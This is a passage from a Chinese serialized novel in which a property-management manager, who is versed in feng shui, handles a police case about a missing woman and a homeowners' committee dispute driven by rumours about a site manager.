“你们几个带这几个姑娘出去。向荣、敬之你们帮忙带她们出去，我要检查一下地下室。”林翔说。 我跟王敬之递了个眼色，我留下来陪老林检查，王敬之帮着其他警察把那几个姑娘带了出去。 “老林，冯楠说地下室里有刘才东的什么？可是这里也不像呀！除了床就是电脑，没有别的东西啊！”我着急的问。 “向荣，也许是在电脑里，别急，我们会把电脑全都带回去的。” 我陪着林翔又检查了一遍整个别墅，然后带着四个姑娘，我们一行十人坐上了来接我们的警车。 在车上王敬之问我：“发现什么了吗？” 我摇摇头，想了想说：“也许电脑里会有线索，等等吧。” 这时候其中一个姑娘说话了：“你是不是敬之哥哥？” 王敬之很激动，“你认识晶晶？” 那个姑娘点点头，“我在晶晶的手机里看过你的照片。” “晶晶在哪？”王敬之急切的问。 “晶晶被他们带走了，他们说她上了自己的QQ，说是暴露了，要转移她。” “知道转移到哪里了吗？”我赶紧问她。 “不知道，他们从来都不说这些的。晶晶是被羊子带走的。” 第一百三十六章 帝豪庭换物业公司风波 “羊子是谁？”我和王敬之心里全是问号。 所以我们没有回家，而是跟着林翔去了刑警队，等着询问结果出来。 王敬之在看到冯晶晶曾被关在刚去的地下室后，就开始情绪低落，我知道，他心里很担忧冯晶晶的安全。 “师哥，晶晶不会有事的，我们一定能找到她。”我宽慰王敬之。 “向荣，我很自责，我也是一直以为晶晶不会有事，毕竟她是丁有生的女儿，可是现在，你也看到了，那个地下室关着的那些姑娘，明显都被折磨的不轻，哎！” 我也不知道该说什么了，事情确实出乎我的意料。 接近天亮的时候，林翔来找我和王敬之。 “老林，有消息了吗？”我问。 “这个地下室是许德生的私人基地，房子虽然是冯楠的，但是只是用了他的名字，实际持有人是许德生。四个女孩都是大学生，有被骗过来的，也有欠钱的，在这里通过网络从事色情服务。”林翔点燃了一颗烟。 “啊？许德生不是畏罪潜逃了吗？这里怎么还有他的手下等着？”我有点糊涂了。 “我猜，许德生应该在异地遥控着这里，这边管事儿的叫羊子，他跟许德生单线联系。” “老林，那几台电脑里有什么新线索吗？”我问。 “还没有，没那么快，有了结果我再告诉你吧。今天真的很感谢你和敬之。”林翔又表达了一次谢意。 “老林，晶晶也会被折磨了吗？”王敬之问。 “冯晶晶应该没有。她只是被关在这里，他们不需要她做什么事。因为她登录了自己的qq被发现了，所以在我们去之前就被转移走了。”林翔回。 我和王敬之听到这里，都不约而同的松了口气。 “那冯楠到底想要告诉我什么呢？他家的地下室、刘才东......”我真是百思不得解。 “向荣，我们回去吧，叔叔还等着我们，林翔这边有了消息会告诉我们的。”王敬之一句话提醒了我，我爸还在医院。 告别林翔之后，我和王敬之赶回医院，医院只有我姐在，我妈昨晚上已经回去了。 我姐怕她身体熬不住，叫车给她送了回去。 “向荣，爸治病的事，姐有五万块钱积蓄，都拿出来给你。”我姐说。 “姐，你的钱攒的不容易，你留着，爸看病的钱我去筹。”我不希望我姐回去因为这事跟姐夫闹不愉快。 “你别管，这也是我爸，我出钱是我尽孝心，钱以后可以再赚。”我姐不依。 “姐，你们想好了让叔叔接受西医治疗了吗？”王敬之说。 “我的意见是听大夫的，向荣我不知道，我们还没商量这件事。”我姐回。 我看看床上还在睡的我爸，示意他们去走廊说，这些用钱的事情最好不让他知道。 两个人跟我来到病房走廊之后，我说：“我是想给我爸喝我配的药，可是，之前没有过喝这个药管用的先例呀！再错过了西医的治疗时间，我很犹豫。” “小弟，这件事我们还是问问爸和妈，看看他们是什么想法，最好是尊重爸自己的意见。”我姐说。 “向荣，姐说的有道理，这件事让叔叔阿姨自己决定吧。”王敬之赞成。 “可是姐，爸和妈如果知道西医治疗需要这么多钱，一定不会同意的。”我回。 我们正说话的时候，我妈来给我们送饭，看到了我们。 “丽欣、向荣，我给你们做了早餐。”我妈喊我们。 “妈，您怎么过来了。”我接过我妈手里拎的东西，“妈，这么沉，你自己拿这么远的路。” 我姐也过来跟着我妈进了病房，我爸已经醒了。 “儿子，你回来了，敬之呢？”我爸睁开眼睛就看向我们几个，生怕有一个有闪失。 “叔叔，我在，我们都很好，你别担心。”王敬之说。 “老吕，我给你做了粥，我扶你坐起来吃。”我妈准备给我爸吃饭。 “我想吃一点有味道的，喝汤药忌口，连酒都不能喝，熬的太辛苦了，粥没味道，给孩子们喝吧。”我爸回。 “老吕，你看你，这不是为了治你的病嘛，不忌口，汤药咱们不是白喝了么！”我看着我爸很无奈又很难过的样子，心里特别难受。 正吃饭，手机响起来，不知道是不是林翔那边有消息了，是个陌生号码。 “您好，我是吕向荣。请问你是哪一位？” “您好吕总，我是帝豪庭的刘明玉，有些工作上的事情想跟您反应。” 刘明玉我记得，是林皓的忠粉，“好，我换个位置接，稍等我一下。” 我妈他们一直给我比划手势，让我先去接电话，工作第一，于是我出了病房。 “吕总，帝豪庭这一届业委会选举换了几个人，然后他们就一起出了个文，要换掉我们物业。”刘明玉的声音在电话里很焦躁。 “换掉？理由呢？” “他们说我们的服务提供的不够，配不上这么高的物业费。”刘明玉情绪低落。 “那事实呢？”我又问。 “吕总，帝豪庭是老小区了，当初开发的时候定位是高端，这里基本都是100平以上的精装修户型，当时的售价每平米也要将近2万了。物业配备一直就是我们，不仅是安保、环境卫生这些，连园区绿化、设施设备的维护保养，我们从不敢怠慢。不是我们的问题，就是新选举上来的业委会的问题。” “但是现在，是不是业委会代表全体业主意见啊？你们有没有做满意度调研？”我问。 “满意度调研倒是没有做，但是我们没接到过业主的投诉，这几年都没事，就是他们搞事情！”刘明玉一口咬定不是物业的问题。 我想了想，“这两天我有件事没处理完，三天后吧，我去一趟帝豪庭。这三天你把满意度调研做了，覆盖率必须要达到80%以上。” 刘明玉想要说什么，但是没有说出来，在电话里应承了我，我们结束了通话。 最近真的是多事之秋，辖区的几个盘子都在整改中，还没有来得及去关注整改进度，我爸的病又面临选择治疗方案，现在帝豪庭又出事。 “向荣，是有事了吧？有事你就去吧，我陪着叔叔。”王敬之迎了出来。 “师哥，帝豪庭那边业主要换掉我们，事情的具体原因我不清楚，得去一趟，可是我爸现在，该选择西医还是中医，确实我没有想好。”我说出自己的困惑。 “而且现在还不知道冯晶晶的下落，那几台电脑里到底装着什么关于刘才东的线索，走也不是、不走还不行！”我心里面好多个问题都没有答案。 “你在这你也解决不了问题，治病不能、破案不能，你现在只能去解决你能做的，赶紧去吧。至于治疗方案，让叔叔自己选择吧，我觉得他最有这个权利。” 第一百三十七章 丑闻 王敬之说的有道理，“师哥，你说的对，我先去处理帝豪庭，快去快回。” 跟我姐和我妈说了现在的情况后，两个人都劝我先去忙工作，家里的事情她们会处理。 看着我妈日渐苍老的样子，很心疼她，我半蹲在她面前，像小时候一样把脸埋在她的腿上，“妈，儿子速去速回。” 我妈用手摩挲着我的头发，“你看你，都这么大了，还跟你妈像孩子似的。” 我姐在一旁踢了我一脚，说：“小弟，你是不是肉皮子又紧了？”说完还像小时候一样捏拳头。 我赶紧起身躲开，搞得我妈拽拽我姐，开心的笑了，我爸躺在病床上看着这一幕也笑了，这就是我们家最开心的时刻。 告诉刘明玉我三天后到，过了一天我就到了，电话里她对民意调研颇有微词，直觉告诉我，这个事儿她办不好。 看到刘明玉本人的时候，我诧异坏了，电话里是一个嗓音有些粗，干干脆脆的泼辣印象，可真人却是一个如假包换的美女。 雪白的一张瓜子脸，方广的前额，弯弯的眉毛，约莫三十来岁的年纪。 “吕总，您真人原来这么年轻啊！我是不是没比您大多少岁？”刘明玉性格很开朗。 “刘姐，你真人也没有电话里那么粗犷啊！”我哈哈的笑着说。 “吕总真会说话，欢迎你来帝豪庭！您真是办实事儿的人，这么快您就到了！我这满意度调研还没开始呢！”刘明玉说。 “没开始正好，我跟着你一起做。”我的话赶紧跟上。 帝豪庭的物业团队都在等我，推开办公室的门，里边坐了半屋子人。 “刘姐，你这团队人不少啊！”我感慨着，坐到旁边的位置上。 “我给大家介绍一下啊，这位是我们辖区的区总吕向荣，是我的直属上司，这次来是帮我们度过难关、指导工作的，大家热烈欢迎！”刘明玉很会煽情。 “吕总好！” “欢迎吕总！” “吕总好” ...... “各位好！都坐吧、都坐，职位不同而已，工作上我们都是一样的，你们有什么意见、建议都可以跟我反映。帝豪庭这些年的各方面指标在临市都排名第一，离不开你们的辛勤工作，感谢你们对刘经理和我工作的配合呀！” 在座的人听见我的肯定，脸上都洋溢着开心的笑容。 这时候刘明玉说话了，“文文，你汇报一下业委会要换掉我们的经过吧。” 被叫做文文的女孩子二十左右岁的年纪，唯唯诺诺的站起来，声音很轻，“吕总，我是帝豪庭的客服，我叫文文......” “文文，你声音大一点，你怕什么啊！吕总是我们自己人。”刘明玉干脆利落的提醒她。 “哦，好！”文文被刘明玉一提醒，声音大了几个度，我算是听清了经过。 原来，帝豪庭的业委会一共五个人，三女两男，一直很支持物业工作，其中一个叫作李寒洋的还跟刘明玉关系特别好，但是最近一次的选举，却换掉了李寒洋和另外两个女业主。新上任的三个业主，两男一女，对物业公司颇有微词，会都没开一个，就发函要换掉物业公司。 “他们换掉咱们的理由是什么？”我问。 “理由，理由有很多，主要的理由就是说我们物业服务质量不达标，对不起高昂的物业费。”文文说。 “那为什么没换业委会成员之前，没人提这件事？这几年有没有业主投诉？”我问。 “文文刚来没多久，她不了解以前的情况，我来介绍这个吧。”刘明玉接过话头。 “之前的业委会跟我们物业的关系特别好，而且最主要的连续三年了，我们都是零投诉，物业费收缴率我们也是辖区第一，这些你都是知道的。林皓总还来这里见过业委会的几个人呢，一起吃过饭。”刘明玉说。 “你的意思是说，你们跟之前的业委会关系好，跟现在的关系不好了，是吗？”我问。 刘明玉尴尬的看看我，默默点头。 “换物业公司是大事，不是几个业委会的人发一张函就可以的，至少得有一定数量的业主投票通过才行。咱们的服务协议还有多久？”我问。 “服务协议还有两个月就到期了，他们的意思就是不再续约了。”刘明玉回。 “文文，你说说业主具体说了哪些服务质量不过关。”我想听文文说。 “有那个业主私自安装摄像头的事，我们物业没引起足够重视，导致纠纷升级；还 有保安巡视时间和次数不够；还有说我们跟业主沟通的少......” “吕总，你听听这都算理由吗？”刘明玉又一次打断了文文。 我没说话，看看在座的员工，准备听听下边人怎么说。 “各位也都说说吧，每个人都说说，围绕着工作中的感想和困难说。”我提议。 大家你看看我、我看看你，都不说话。 “我是认真的，而且我这个人，一旦开会让大家畅所欲言，就要求必须有回应，哪怕没有意见，也要跟我说一声没有，别静默呀，静默是什么意思呢？”我重申了要求。 “吕总，我有一件事想跟您反应反应。”说话的是一个老头，看着能接近60岁的样子。 我点头示意他说下去。 “我叫马浩林，是负责工程维修的。我认为我们应该通知业主们及时到物业登记出租信息。帝豪庭因为建成的年代久，设备面临陈旧，这里的业主大都是这个经理、那个老总的，都搬到了更好的地方，留下这里的房子往外租，现在帝豪庭能有70%是租户，搞得我们物业很被动，他说我们跟他们沟通的少，大部分都是新人，我们如何下手沟通呢？情况都不了解。” “马师傅说的好，业主信息档案是我们物业的必备项，这一条确实需要及时跟进。马师傅你继续说。”我想听到更多的内容。 “再有、再有就是、就是李寒洋家的丑闻了......”马浩林边说边瞄着刘明玉。 “李寒洋丑闻？如果我没记错的话，李寒洋是业委会的原业主，丑闻跟我们物业有什么关系呢？”我很困惑的问。 第一百三十八章 民间的瓜 我看看刘明玉，又看看不再言语的马浩林，感觉到了里面有问题，明显是刘明玉不想公开讨论。 “行，其他人呢，还有没有问题？”我不再恋战。 剩下的人零零星星的说着没有了，我看看时间也接近下班的时间了，于是张罗着散了会。 人都走差不多的时候，有个慈眉善目的大娘站我身边看着我笑，想跟我说话。 “您是？”我很好奇。 “吕总，我是帝豪庭的保洁王燕，我算是第一任保洁，一直在这干来着。今天您来了太好了，我也有点事想跟您反应，但是这事不方便在会上说。” 我看着这大娘神神秘秘、欲言又止的样子，十分好奇，有什么事是不能会上说的？ “王姐，看您的样子，今年是不是已经退休了？”我问。 “吕总好眼力啊，我今年整60，刚刚退。因为我这个岗位特殊，工作时间机动，这园子里的事情，我几乎都知道个一二。李寒洋丑闻的事情，您还是别去调查，不合适。” “为什么？如果跟我们物业没关系，我定是不会去过问的，人家的隐私。”我回。 “他跟刘明玉经理关系可不一般，所以......我是听新上任的业主说了，要换掉刘明玉，换掉物业。”王燕刚说完，看到刘明玉进来了，跟我点点头，离开了。 这信息量可太大了，李寒洋是男的，刘明玉是女的，他俩关系好，还涉及丑闻，什么意思？我对介入别人家庭的丑闻可是零容忍的。 刘明玉看着看见她进来就离开的王燕，嗤了一声，“可算是逮到人了，抓到机会就嚼舌根！” 我瞅瞅刘明玉，很显然，这些“民间传说”，她是有耳闻的。 “刘姐，你打不打算给我解惑？解惑了，也许我能帮你，不解惑的话，我肯定自己也能知道，到时候我帮不帮你可就看心情了。”我半开玩笑半认真的说。 刘明玉看看我，好看的眼睛垂下来，叹了口气跟我说：“我跟李寒洋真的没什么，也许他爱慕过我，但是那都是几年以前的事情了。最关键的，这是我们的私事，跟工作有什么关系呢？也不是警察断案，还要避嫌！” 果真如此！“刘姐，你具体和我说说你俩到底咋回事儿？”我想知道更多。 李寒洋是有家室的公务员，但是妻子常年多病，是个药罐子，也因此一直没有生育。 刘明玉刚来帝豪庭的时候还是个没结婚的姑娘，人又长得漂亮，还能说会道，迅速吸引了李寒洋的注意。再加上一个是物业的、一个是业委会的，常来常往的原因，李寒洋对刘明玉心生爱慕。 有一回刘明玉过生日，李寒洋特意给刘明玉买了一条手链，很贵重，还没等送，就被李寒洋的老婆发现了，本就无孩自卑的她，顿时醋意大发。 除了在家里跟李寒洋大闹一场，还到物业办公室给刘明玉骂哭了。 那次的事情发生后，林皓特意赶过来，跟业委会的人吃了一顿饭，好一顿解释说明，而且李寒洋在场，还不能全都推在李寒洋身上，只说是刘明玉过于优秀，导致了误会。 可是，人群就是这样的，一旦有了谈资，定是没完没了的渲染，这刘明玉和李寒洋的“丑闻”也就算是坐实了。 一直到刘明玉现在已经已婚已育了，帝豪庭的人还是认为她跟李寒洋有一腿，而且正是因为有一腿，很多不合规、质量不过关的事情才被李寒洋给压下了。 几个业主借着业委会换届，挤掉了李寒洋，也顺势要拿下物业公司。 “刘姐，以讹传讹固然不对，但是这里面的根本问题你知道在哪吗？”我问。 “根本问题？根本问题就是我没有去骂他们，没有去撕烂他们的嘴！胡说八道的一个个的，还要换我们，我看他们到底谁有这魄力换！”刘明玉气得爆粗口。 “刘姐，消消火，物业公司可是咱们集团的，你不能拿来当做置气的筹码！”我严肃的提醒她。 “这里面的根本问题在于那些不合规、质量不过关的事情，如果没有这些，你和李寒洋的事情就只是人民群众闲得无聊了吃的瓜，根本兴不起今天的浪。”我下了定论。 刘明玉不说话了，脸红红的看着我，说：“吕总，你总提这些，那咱们的服务质量不好，咋没有投诉呢？” “没有投诉就代表好吗？我让你做的满意度调研你为什么不积极去做？” “做了他们肯定也会是说这些丑闻的问题，何必给他们攻击我的刀子。”刘明玉负气的说。 “刘姐， 我再次提醒你，你的事情跟物业的事情不要混为一谈，如果老板知道了因为你一个人要损失一个这么高端的盘子，他一定会让你走。” 刘明玉听进去了，不再说话。 “明天务必把满意度调研做了，另外，给我约业委会开个会，我要见见他们。”我布置了工作，刘明玉点头同意。 满意度调研问卷印制了近千份，让物业的全体人员都下去发，要做到挨家挨户。 业委会的会议也在当晚如约举行。 帝豪庭的业委会五个人，据说基本都是干过总经理的，或者是当过小领导的，还有给领导当助理的。 知道的时候我也好奇，怎么当总经理的能有时间关注物业业委会呢？见到真人以后，我立时了然了。 三个男的，基本都是接近60岁的年纪，无业，在家养花的、没事儿钓鱼的。 两个女的，全职主妇，也都接近50岁，较少表态，都是随着大家的意见走。 核心人物叫张建飞，不轻易说话、表态，都是其他人在说，但是只要他一说话，其余的人立刻就小心翼翼的听着。 我看出了门道，我也不说话，就听这些人说。 男业委会成员A说：“你是物业区总？我看你这年纪也太轻了，你有什么经验啊？你管过像我们这样都是富人聚集的物业小区吗？我们每年给你们教那么高的物业费，你瞅瞅你们，都给我们提供了些什么乱七八糟的服务！” 第一百三十九章 故弄玄虚的风水大师 我一听风水，跟我聊风水，那不是撞枪口上了吗？我学了这么多年，我是干嘛的！ “您说的张哥是？”我想确定是不是核心人物张建飞。 “是我，我就是张建飞。”果然核心人物登场了。 “您好，您好！张哥，您说的官宦风水是？”我想听听他懂多少。 张建飞颇有种“官架子”，根本没正眼看我，慢条斯理的说：“吕总，是吕总对吧？” 我点头，“您叫我吕向荣也行。” “咱们帝豪庭，当初可是每平米2万多，最小的面积还得120呢，你知道我们都是什么身价住在这里不？物业费每平米12元一个月，你看看你们给提供的服务达不达标！而且你们的员工品行不端，根本配不上我们这里的气场。” 我忍着反驳的欲望，继续问：“您说的气场、风水，您能详细给我讲讲么？” 张建飞一看我对这个感兴趣，更加的傲娇，“可以和你说，但是你恐怕听不明白！” 我可真是的了，见过很多冒充“大师”的人物，还真就没见过这种如此自我感觉良好的人物。 “愿闻其详！”我依旧谦卑。 “福人居福地你懂不懂？帝豪庭就是福地，住在这里的人也是福人，可是你们物业的德行不端，德不配位。？”张建飞的理论让我震惊。 风水的好坏是由人的行为和环境共同决定的，住在福地的就是福人，这不明显是本末倒置吗！ “那您是如何判断帝豪庭是福地的呢？而且，我还有一处不明，只要住在这里的就是福人，那前一段发生的宠物饲养拉撒问题纠纷、私自安装摄像头的纠纷，这些人也都是福人吗？”我实在是憋不住了。 “我当然是通过占卜算的这里是福地。”张建飞冲口而出的一句话让我当下就给他下了“伪大师”的标签。 可是他的拥趸甚多，我如果直接就说出我的“身世背景”，直接就去反驳他，未必能获得其他人的信服，最关键的，他根本不懂风水，跟一个不懂风水的人争论短长，有什么意义呢？ 张建飞看我不说话了，以为我被他说服了。 “吕总，我看你年轻憨直，如果你能把刘明玉调走，我们业委会愿意给你们机会整改。” “刘明玉做错了什么呢？”我问。 “做错了什么？你不会还不知道吧，她跟李寒洋那点破事儿，我们这里人尽皆知。”女业委会成员C说话了。 另一个也跟着附和，“就是，这种人还想留在我们这福地，那是痴心妄想！” 我一看这些人根本不想解决12块钱的物业费应该提供什么服务的问题，就在这围绕一些没根没据的事情，就要换掉陪伴了他们几年的物业公司。 心里很难过，没有平和的情绪继续开会了，“好，张哥，我务必整改！请业委会再给我一周时间！我一定给你们一个满意的答复。” 张建飞没想到我会是这么恭敬的态度，也和颜悦色的说：“吕总果然通人情，好！就给你们一周时间。” 散会后我的心情很沉重，理解了刘明玉为什么恨这些人恨的牙痒痒，也感觉到了重重的压力，跟这个伪风水大师，和一群不懂风水的人民群众，该如何取胜？ 刘明玉的工作能力应该是可圈可点，谣言也确实影响很大，我一定要想一个万全之策才可以解决目前的困境。 想到这，我决定先了解一下这块“福地”，拿着我的家伙事儿就开始去周围转悠。 帝豪庭位于临市二环边的位置，紧挨着护城河渠，“玉带环腰”，周边配套设施完善、交通便利，建筑外形上中轴对称，也算规整，确实有福地的特征，但是楼盘内的户型设计就差强人意了，很明显看到有缺角的问题。 这特征也就一般嘛，张建飞太自信了。 一圈勘验下来，思考着目前的问题，我心里有了主意，决定明天再看看民意调研。 问卷发出去近千份，收回来能有80%吧，这个量也是可以的。 经过我们几个人加班提炼，确实有很多未引起足够注意的问题出现： 绿化覆盖率达不到30%，尤其宅旁绿地、配套公建所属绿地更低； 公共设施残破，比如电梯速度慢如牛，维修时长过高； 业主与物业沟通存在障碍，鸡同鸭讲； ...... “刘姐，这些问题都真实存在吗？”我问。 刘明玉尴尬的点点头，“可是他们为什么不找我们说呢？” “总 不能不说就认为我们做得周到了吧？每个人都有自己的工作和生活，而且很有可能前一个认为有问题的搬走了，新来的还没发现问题，没和我们说，这不叫理由。刘姐，这个满意度调研你们日后务必要定期开展，这是跟业主沟通的渠道，渠道堵死了，你就像盲人去摸象一样，做什么都不得要领。”我很严肃的指出她的问题。 同时心里也在想业委会的意见，换了她就能继续合作，不换她很可能就得撤摊子走人。 目前看，刘明玉的工作也确实是存在问题的，我该如何决定呢？ 不对，我走不走人，是跟我的服务质量挂钩的，而不是跟刘明玉这个人的去留挂钩的，这件事必须让业委会明白。 现在也只有戳穿张建飞“伪大师”的身份、征服悠悠众口，才能将物业的“脚”站住，后续的续约才有谈成的希望。 好，既然如此，那我就只好出手了。 “刘姐，你还得张罗一次业委会会议，这次你也参加。”我说。 “我也参加吗？”刘明玉有点发怵。 “对，你也参加。刘姐，我只是暂时帮你解决问题，日后坐镇的还是你，你不要逃避。” 刘明玉被我说服，点了点头。 第二天开会的时候，几个人看到刘明玉也参会了，明显很意外，而且积极的情绪明显都变得抵触。 “吕总，这才开完会没几天，怎么又开会？你有决定了吗？”张建飞这次第一个说话。 “有决定了。张哥，说决定之前，我想先跟您办件好事。”我看着张建飞说。 “什么好事？还要跟我一起干？”其余的几个人也都纳闷的看着我。 “关于福地的特征您跟我说一下，我定让物业团队维护好这些特征，确保咱们园区业主的既得利益不受损失。” 我抛出问题后，几个人都很热忱的看向张建飞，在大家利益一致的时候，自然而然的阵线就一致了。 “福地的特征？这、这怎么说呀？”张建飞开始紧张。 第一百四十章 心病 张建飞一看大家都用期盼的眼神看着他，这事儿明显躲不过去，硬着头皮开始说了。 “福地的特征，福地特征就是人住在这里可以走运呗，可以身体健康、家庭和睦、事业顺利，一帆风顺，什么小毛小病的都没有！” 张建飞呀张建飞，如果不是你认为我们都是傻子、好糊弄，就是你自己是傻子，这么严肃的场合还自己拆自己台子。 几个业委会的人都不淡定了，很明显都有了质疑的神色，这些话谁不会说呢？而且，谁家能做到住在哪个宅子里就以上全部都应验？ “张哥，您说的这个还不够具体，而且，每个人都可以说，也都会说。我说说福地的特征，您听听看是不是那么回事，好吧？”我转头看看身边的刘明玉，她忐忑的看着我。 “所谓福地，有两个概念上的福地，福人居福地指的是邻里和睦、交通便利、家风良好。所谓千金买房，万金择邻，指的也是远亲不如近邻，也可以叫做和睦之地。至于交通便利就是字面意思了，交通顺畅，四通八达；最后一个，家和万事兴，家庭的和睦与和谐，便是一个家庭最深厚的福气。“有福之人居福地”可以说是我们对幸福生活状态的向往，因为只有这样，我们才能真正成为“有福之人”，居住在属于自己的“福地”之中。” 我看看在座的几个人，都在思考我说的话，我接着说：“我再说说风水学概念上的福地，风水好地是自然环境和谐、地势有利、气场稳定且富有生机的地点。这样的地点不仅能使人身心愉悦，也能带来好运和积极的能量。” “吕总，看不出来啊，你这么年轻，说出来的东西还都一套一套的。”其中一个业委会女业主C说，“您给说说什么叫地势有利？比如我们帝豪庭怎么地势有利？” “地势有利，风水学上讲求？后有靠山，？依山傍水，水要像腰带般环绕，这一点帝豪庭紧挨着护城河渠，很好的兼顾了；？地形平坦，避风聚气，没有路杀、弓箭杀、悬空杀等不利地形，最后这个帝豪庭也很好的规避了。” 业委会女C吃惊的看着我说：“哟！吕总，您才是真正的大师呀！” 其他几个人也都将注意力聚焦到我身上，我偷偷的瞄了瞄张建飞，他脸涨的通红，但是很明显也对我说的感兴趣，不好意思插嘴而已了。 “张哥，您觉得是不是这个道理？”我还是要攻克始作俑者。 张建飞一看我算是个明白人，有点后退，但是依旧保持着不服的状态。 “你说的这些我们也都知道呀，是不是？你问问他们，谁不知道呢？”张建飞用眼神扫过在座的几个人。 几个人有点汗颜，但碍于统一战线又不得不附和：“对啊，就是，谁都知道。” “好，既然你们都知道，那怎么能说出昨天那番理论呢？福地和居住的人是相辅相成的，没有绝对的福地，也没有一成不变的福人。”我说。 其余的几个人都不说话了，只有张建飞咄咄逼人的继续问我：“你说这些就是不想换掉刘明玉是吧？” “我说这些是想告诉你们，物业公司提供的服务是否有待改善，跟刘明玉的去留不是捆绑的，不是一件事，请不要混为一谈。我们昨天已经做完了业主满意度调研，全园区有80%的业主参与了答卷，从明天开始我们会一项一项的整改，维护好这里的环境，也就是维护好你们所说的福地，我们的整改结果随时接受你们的监督。”我严肃的回答。 “刘明玉是否留在这，完全跟她的工作能力挂钩，至于你们传说的所谓理由，到底是不是看到过、被证实过的真相，你们心知肚明。”说完这些我逐一看向在座的人。 “我也想请问大家一个问题，你们为什么一定要换掉刘明玉？今天我特意把她带过来了，有什么问题我们当面说，解决的效率更高。而且我向大家保证，如果是她工作能力的问题、或者是给我们物业公司的形象带来了不好的影响，我一定换掉她。” 几个人看着我，高涨的情绪缓和下来，一个一个开始吐露心声。 “吕总，其实我们、我们的初衷是希望你们提供的服务对得起我们缴的费用。”业委会女C说。 “是啊，我们每天自己 家里还有好多事等着做，哪有时间总看着你们物业做什么啊！你们得自己眼睛里有活才行啊！”业委会男B也说。 “其实你们谁走与不走，对我们的影响真就不大，我们可能都不会记得人名。但是影响不好就不行了，这么贵的小区，怎么能有丑闻呢！”业委会男d说。 只有张建飞不吭声。 “张哥，您说说呗，您为什么一定要换掉刘明玉？据我了解，您搬进来刚刚满一年，您跟李寒洋和他的家属有什么关系吗？” 其他几个业主也询问式的看向张建飞，张建飞不再剑拔弩张，但是一直沉默。 我一看这是有难言之隐，“行，那咱们今天就到这里吧，各位家里应该也都有事要忙。我吕向荣说了要开始整改，解决你们认为不符合服务质量标准的问题，日后如果没有兑现，你们可以来找我。” 几个人纷纷离席，还都颇有好感的要留我的电话，业委会男业主B很感兴趣我说的风水学，一直问我这问我那，我想保持低调，但是现实没允许。 人都散了以后，我让刘明玉也回去工作，我想单独和张建飞聊聊。 “张哥，就剩我俩了，能说了吧？说出来也许我能帮你呢！咱们每天那么多事情要兼顾，这些琐碎小事就交给我们物业吧。”我说。 “我知道你深藏不露，你说的道理也都对，但是刘明玉勾搭李寒洋这件事，是我侄女的一块心病，刘明玉只要在，我侄女的家庭就得不到和睦。”张建飞说了原委。 “您侄女？难道是李寒洋的爱人？” 张建飞默默点头。 原来如此，不过这样确实难办了，这可不好弄，当事人的心病确实难治。 “张哥，我用我的人格担保，刘明玉确实跟李寒洋什么都没有，他们之间很清白。而且刘明玉现在都已经结婚生子了，那些子虚乌有都是不存在的嘛！” 第一百四十一章 吕向荣被停职 “吕总，我看你的年纪应该还没有成家吧？”张建飞问我。 我点点头。 “但是，你是男人，男人你应该是了解的。这事，一个巴掌拍不响，退一万步讲，刘明玉没事，没心思，但是李寒洋动了心思了呀！两个人在一个院子里经常能见到，这就是问题。”张建飞说出了最担心的关键。 这......这让我怎么接？ 我想说这绝对不可能，一厢情愿的事情，而且因为他一厢情愿就要砸了另一个人的饭碗，是不是太不公平了？ 但是我没说出口，因为确实，帝豪庭不一样，这是一个高端盘，物业费都翻好几倍。 因为一个员工，就治不了一个业主的“心病”，到底哪头沉？ “好吧，张哥，我真切的理解了你的感受了，给我点时间，容我考虑考虑，好不好？” “行，吕总也是明白人，跟你聊天很痛快，我相信你也一定会给我一个满意答复。” 结束了跟张建飞的谈话，我又沉重了，我该怎么决定呢？刘明玉因为这个没了饭碗有点冤啊，但是如果置之不理，以后迟早还是个问题。 没办法，只好给老袁打电话。 “袁总，有件事我搞不定了，问问您的意见。”我在电话里颓丧但很谦虚。 “哈哈，竟然还有你搞不定的事情，行，你说说怎么回事。”老袁很感兴趣。 我把帝豪庭风波的原委给老袁讲了一遍，老袁半天没说话。 “袁总，您也没答案？”我忍不住问。 “向荣，其实你已经有答案了，你只是不忍心。”老袁一句话就给我按在当场。 是啊，如果我不认可张建飞的心病，我不理会就好了，怎么会左右为难？ “袁总，这么说你也认为应该换掉刘明玉？如果这样的话，以后再有哪个业主再看上我们的某位员工，我们也要把员工弄走吗？这不是道理呀！”我的某些疙瘩还是没解开。 “就像你说的，帝豪庭不一样，为了保护住这样的盘子，我们有时候就要舍弃。况且，我们可以调离刘明玉的岗位，临市还有其它盘子嘛，未必一定要让她走。” 我听出了老袁的决定，老袁的决定也一定是老板的决定，假设现在这个事情闹到了老板那里，刘明玉的分量也一定是比不过帝豪庭。 “袁总，我说不出口，不知道怎么和刘明玉说。你跟他讲好了。”我要撂挑子。 “你看你小子，一到关键时刻就给我上眼药，我跟她差着级别呢，我怎么和她说？我说完了当个黑脸，然后你在里面依旧是好人是吧？不行！这是工作，就要按照制度办！” 老袁说完就挂断了电话。 确实没错，我是真的不想去做这个坏人，但是别无选择，我必须做。 开始整改服务项目的几天，团队里的每一个人都很积极，供应商的配合程度也高，一周的功夫，绿化的问题就都安排上了。 可是我却心事重重，刻意的回避着有刘明玉的场合，但是，不想面对的还是来了。 “吕总，我有点事想和你当面聊聊，街角有个面馆很不错，我请你吃碗面条吧。”刘明玉春风满面的邀请我。 “刘姐，你别请我，我来这里好多天了，应该我请你才对，过几天我也要回去了。” “走吧，还推三阻四的，一碗面条怕什么的。”刘明玉笑哈哈的拉着我去了面馆。 这家面馆门脸很一般，但是室内别有洞天，装潢和布置都很别致，最关键的是干净，温暖，空气中飘着面条香，不知怎的，我一下子想到了安宁，这个丫头的面条确实回味无穷。 “吕总，来，趁热吃，他家的面条一定让你吃完忘不了。”刘明玉极力推荐。 我尝了一口汤，鲜美，面条劲道、爽滑，确实不一样。 “好吃！”我由衷的夸赞。 “吕总，我今天除了请你吃面条以外，还想跟您请辞，您别留我，我已经找好下家了。” 什么？我瞪大眼睛，这刘明玉还真的是有颗玲珑心啊！ “我知道你早已经有了决定，那天业主会我听出来了，问题就出在张建飞身上，后来我也听说了他是李寒洋 老婆的亲属......这事儿我必须走，老板也不会留我的，在老板那里，这盘子的利润比我值钱。”刘明玉的思路清晰的要命。 可我却愣愣的吃不下面条，也不知道该说啥了。 我为自己在工作上做了这么违心的决定而羞愧，我不是一向主张正义的吗？一向敢于黑是黑、白是白吗？我的坚持呢？我的勇敢呢？ “刘姐，我......我，哎！对不起！” “哈哈，你和我说对不起干啥啊？你也是给人家打工的，我也不傻。跟你说，我下家单位比这里给我的工资高。” 我不禁好奇，原来是真有了下家，“你去哪里了？还做物业经理？” 